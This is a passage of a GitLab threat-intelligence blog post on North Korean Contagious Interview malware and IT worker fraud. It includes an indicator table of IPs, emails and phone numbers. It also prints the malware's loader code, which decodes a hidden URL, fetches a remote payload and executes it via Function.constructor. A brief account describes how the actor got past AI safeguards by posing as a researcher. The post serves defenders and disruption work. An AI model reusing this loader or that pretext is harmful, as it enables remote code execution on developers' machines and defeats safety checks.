origin) | 2 |\n| `74.255.219.229` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `82.180.146.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `94.23.153.15` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `95.182.97.53` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `ryan.service.1001@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `dmbdev800@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `kari.dev1217@gmail` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `iamjanus66@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `4696382784` | phone number | insider | N/A | N/A | Threat actor persona phone number | 3 |\n| `brianyoung.luck@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `codingwork.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jinwangdev531@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gdavisiv.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicolas.edgardo1028@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeilucky23@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aleksey0753@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `develop498@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `4899432@qq.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `karsonova1703@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maximmironenkoreact@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vitalyandronuke@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeysamsonofff@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `realnitii1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `devnitin18@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexiyevaj@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `initinbhardwaj@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anna.putinarus@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rajukumar127.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kekisevu@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anastasiaanufriyenko@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `andriimalyshenko@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gabrygreg1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luckydev2289@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `forfuture21@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darbylee923@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexei.lee0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `yuriassasin0603@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luis.lee.tech@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `bryanjsmiranda@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luislee.software@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `panda95718@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `givometeq@mentonit.net` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maradanod.favomubo@vintomaper.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `humblechoice.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoalberto2208@hotmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `quxiujun520520@163.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `igorslobodyan508@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung.lucky@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `valerykrapiv@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dveretenov@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `blbnlambert34@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tezauidev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicewitali0311@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `shopstar0907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rl6700907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeu005@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `versatile.skydev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kevinhelan2@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `cglobalpower923002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `albertchess990919@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `lorenzo.vidal@mail.ru` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `stolic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nkvasic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `freelancer.honest.developer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `viana.mabel3058@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairo.business392@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoacosta00123@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ferwerwe6@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maskymlap@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexsam.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kostiaberez369@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darkrut22@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jennalolly93@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vikram.imenso@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `greg.work.pro@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `denish.faldu226@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `janeica.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiuli@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aronnokunjo@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `hadiulislam391@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdi39980@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdiupwork2002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiul@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `wildbotgamer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.L@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dyadkovdevelop@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.M@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Gulfdom0209@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Wei861420@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `david@heyadev.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mykytadanylchenko@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ronaldofanclub112@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `olegevgen@inbox.lt` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `15414257086` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `89883507137` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `14358179097` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `3508704464` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `4796004206` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `5596103595` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n","security-labs",{"featured":13,"template":14,"slug":15},true,"BlogPost","gitlab-threat-intelligence-reveals-north-korean-tradecraft",{"title":5,"description":17,"authors":18,"heroImage":19,"date":20,"body":10,"category":11,"tags":21},"Gain threat intelligence about North Korea’s Contagious Interview and fake IT worker campaigns and learn how GitLab disrupted their operations.",[9],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1751464282/r2ovpvmizpkcngy9kzqu.png","2026-02-19",[22,23],"security","security research","yml",null,{},"/en-us/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft","seo:\n  config:\n    noIndex: false\n  title: GitLab Threat Intelligence Team reveals North Korean tradecraft\n  description: Gain threat intelligence about North Korea’s Contagious Interview and fake IT worker campaigns and learn how GitLab disrupted their operations.\ncontent:\n  title: GitLab Threat Intelligence Team reveals North Korean tradecraft\n  description: Gain threat intelligence about North Korea’s Contagious Interview and fake IT worker campaigns and learn how GitLab disrupted their operations.\n  authors:\n    - Oliver Smith\n  heroImage: https://res.cloudinary.com/about-gitlab-com/image/upload/v1751464282/r2ovpvmizpkcngy9kzqu.png\n  date: '2026-02-19'\n  body: >+\n    We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.\n\n    Publishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.\n\n\n    **There is no action needed by GitLab customers and GitLab remains secure.**\n\n\n    ## Executive summary\n\n\n    ### What is Contagious Interview?\n\n\n    Since at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.\n\n\n    ### About the report\n\n    In 2025, GitLab identified and banned accounts created by North Korean threat actors used for [Contagious Interview](https://attack.mitre.org/groups/G1052/). GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through [IT worker activity](https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses).\n\n\n    Exposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.\n\n\n    This report contains a [Year in Review](#year-in-review) summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:\n\n\n    * [Financial records](#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records) maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025\n\n    * [A synthetic identity creation pipeline](#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale) used to create at least 135 personas, automated to generate professional connections and contact leads at scale\n\n    * [A North Korean IT worker controlling 21 unique personas](#case-study-3-north-korean-operator-controlling-21-personas) and adding their own image to stolen U.S. identity documents\n\n    * [A North Korean IT worker recruiting facilitators](#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow) and working for U.S. organizations while operating from Moscow, Russia\n\n\n    We’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the [Appendix](#appendix-2-indicators-of-compromise).\n\n\n\n    ## Year in Review\n\n\n    North Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.\n\n\n    ### Key findings\n\n\n    Here are our key findings, including 2025 campaign trends and malicious code project features.\n\n\n    #### 2025 campaign trends\n\n\n    In 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant [we identified](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/) in September.\n\n\n    Threat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.\n\n\n    In more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.\n\n\n    ![Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png \"Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.\")\n\n\n    We observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.\n\n\n\n    ![Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png \"Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.\")\n\n\n    #### Malicious code project features\n\n\n    The most common execution pattern we observed in 2025 had the following features:\n\n\n    * A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.\n\n    * A trigger function intended to source remote content and raise an error.\n\n    * A global invocation of the trigger function in a file executed as soon as the project is run.\n\n    * A custom error handler intended to execute remote content from the trigger function by using `Function.constructor` to load a string as executable code.\n\n\n\n    **Example excerpt from a .env file containing malicious encoded variables:**\n\n\n    ```shell\n\n    # Runtime Configuration\n\n    RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw\n\n    RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy\n\n    RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0\n\n    ```\n\n\n    **Decoded values from the .env file (defanged):**\n\n\n    ```shell\n\n    # Runtime Configuration\n\n    RUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823\n\n    RUNTIME_CONFIG_ACCESS_KEY=x-secret-header\n\n    RUNTIME_CONFIG_ACCESS_VALUE=secret\n\n    ```\n\n\n    **Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:**\n\n\n    ```javascript\n\n    const errorTimeHandler = async () => {\n      try {\n        const src = atob(process.env.RUNTIME_CONFIG_API_KEY);\n        const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);\n        const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);\n        try {\n          globalConfig = (await axios.get(`${src}`, {\n            headers: {\n              [k]: v\n            }\n          }));\n          log('Runtime config loaded successfully.');\n        } catch (error) {\n          errorHandler(error.response?.data || error.message);\n        }\n      } catch (err) {\n        await errorHandler(err.response?.data || err.message || err);\n      }\n    };\n\n    ```\n\n\n    **Example custom error handler intended to execute remote code:**\n\n\n    ```javascript\n\n    const errorHandler = (error) => {\n      try {\n        if (typeof error !== 'string') {\n          sss\n          console.error('Invalid error format. Expected a string.');\n          return;\n        }\n        const createHandler = (errCode) => {\n          try {\n            const handler = new(Function.constructor)('require', errCode);\n            return handler;\n          } catch (e) {\n            console.error('Failed:', e.message);\n            return null;\n          }\n        };\n        const handlerFunc = createHandler(error);\n        if (handlerFunc) {\n          handlerFunc(require);\n        } else {\n          console.error('Handler function is not available.');\n        }\n      } catch (globalError) {\n        console.error('Unexpected error inside errorHandler:', globalError.message);\n      }\n    };\n\n    ```\n\n\n    The error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.\n\n\n    The extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.\n\n\n    #### Other notable observations\n\n\n    In July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.\n\n\n    In September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.\n\n\n    In October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.\n\n\n    ### Implications\n\n\n    North Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.\n\n\n    We observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.\n\n\n    ### Mitigation\n\n\n    We banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.\n\n\n    We improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.\n\n\n\n    ## Case studies\n\n\n    ### Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records\n\n\n    #### Summary\n\n\n    We identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.\n\n\n    #### Key findings\n\n\n    In late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.\n\n\n    We assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.\n\n\n    ![Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png \"Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.\")\n\n\n\n    Personnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently `111.197.183.74`.\n\n\n    Dossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.\n\n\n    Financial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.\n\n\n    Software development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.\n\n\n    ![Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png \"Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.\")\n\n\n\n    ![Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png \"Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.\")\n\n\n\n    The project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.\n\n\n    ![Screenshot of presentation showing cell performance data for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png \"Screenshot of presentation showing cell performance data for Q3 2025.\")\n\n\n\n    ![Screenshot of presentation showing cell member performance relative to goals for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png \"Screenshot of presentation showing cell member performance relative to goals for Q3 2025.\")\n\n\n\n    ![Screenshot of presentation showing cell performance data by month for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png \"Screenshot of presentation showing cell performance data by month for Q3 2025.\")\n\n\n    We aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.\n\n\n    ![Actual and target cell earnings over time, 2022 to 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png \"Actual and target cell earnings over time, 2022 to 2025.\")\n\n\n    We assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.\n\n\n    The private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:\n\n\n    - Earnings contribution and mutual skills development.\n\n    - Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.\n\n    - Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.\n\n    - Interpersonal values and adherence to party values.\n\n\n    These reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.\n\n\n    ![Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png \"Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.\")\n\n\n    #### Implications\n\n\n    This activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.\n\n\n    The declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.\n\n\n    #### Mitigations\n\n\n    We banned accounts related to this activity.\n\n\n\n    ### Case Study 2: Synthetic Identity Creation and Service Abuse at Scale\n\n\n    #### Summary\n\n\n    We identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.\n\n\n    #### Key findings\n\n\n    We identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.\n\n\n    The threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:\n\n\n    1. Scrape photographs from social media, AI image generators, and other platforms.\n\n\n    2. Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.\n\n\n    3. Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service [disrupted by U.S. authorities in August 2025](https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used). Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.\n\n\n    4. Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.\n\n\n    5. Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.\n\n\n    The threat actor’s tooling to interact with abused services was brokered through a control node hosted at `185.92.220.208`. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.\n\n\n    The threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.\n\n\n    The threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.\n\n\n    As of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, 